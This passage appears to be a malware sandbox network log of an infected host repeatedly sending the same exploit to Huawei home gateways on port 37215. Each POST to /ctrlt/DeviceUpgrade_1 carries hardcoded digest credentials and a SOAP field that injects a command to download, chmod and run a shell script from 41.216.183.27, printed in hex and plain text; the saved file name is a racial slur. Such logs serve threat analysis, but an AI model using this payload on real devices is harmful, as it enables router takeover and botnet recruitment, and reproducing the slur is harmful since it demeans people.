Feb 19, 2024 18:37:23.027395010 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.876548052 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.868495941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.820199966 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.883582115 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.818526983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	60666	45.121.212.102	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.225954056 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.804524899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.660372972 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
